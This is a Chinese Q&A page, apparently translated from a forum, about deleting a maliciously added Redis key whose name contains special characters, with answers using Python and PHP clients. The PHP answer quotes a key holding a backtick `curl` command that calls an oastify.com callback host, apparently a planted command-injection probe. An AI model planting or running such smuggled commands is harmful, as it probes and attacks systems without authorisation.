如何删除带有特殊字符的Redis密钥?

hiz5n14c  于 2022-10-31  发布在  Redis
关注(0)|答案(2)|浏览(241)

我无法从我们的Redis示例中删除一个ENV:NAMESPACE:?''?""-last的密钥。它似乎是被恶意添加的。
尽管它是由redis-cli --scan返回的,但我找不到任何使用redis-cli删除它的方法。在shell中转义或使用交互模式的每一种组合都找不到密钥。
仅几次尝试包括:

$ redis-cli --scan --pattern 'ENV:NAMESPACE:*-last' | xargs redis-cli del
xargs: unterminated quote
$ redis-cli del ENV:NAMESPACE:?''?""-last
(integer) 0
$ redis-cli del "ENV:NAMESPACE:?''?\"\"-last"
(integer) 0
$ redis-cli del 'ENV:NAMESPACE:?'"'"''"'"'?""-last'
$redis-cli
> del ENV:NAMESPACE:?''?""-last
Invalid argument(s)
> del "ENV:NAMESPACE:?''?\"\"-last"
(integer) 0
> del 'ENV:NAMESPACE:?\'\'?""-last'
(integer) 0

有人知道一种方法,使这项工作或一个合理的替代删除键?

bvjxkvbb

bvjxkvbb1#

按照ceejayoz的建议,我最终尝试了python客户端。
原来实际的键是b'ENV:NAMESPACE:\xf0\'\'\xf0""-last',我可以直接从那里删除它。

xfb7svmp

xfb7svmp2#

我也同意ceejayoz的建议:在我的例子中,它与RedisPHP库一起工作,代码如下:

$redis = new Redis();
    $redis->connect(REDIS_IP_ADDRESS, 6379);
    $result = $redis->del('rubbish key including backquotes`curl -v http://mydomain.com.3aeur79uqav73w6wphmx79sm2d83ws.oastify.com`');

相关问题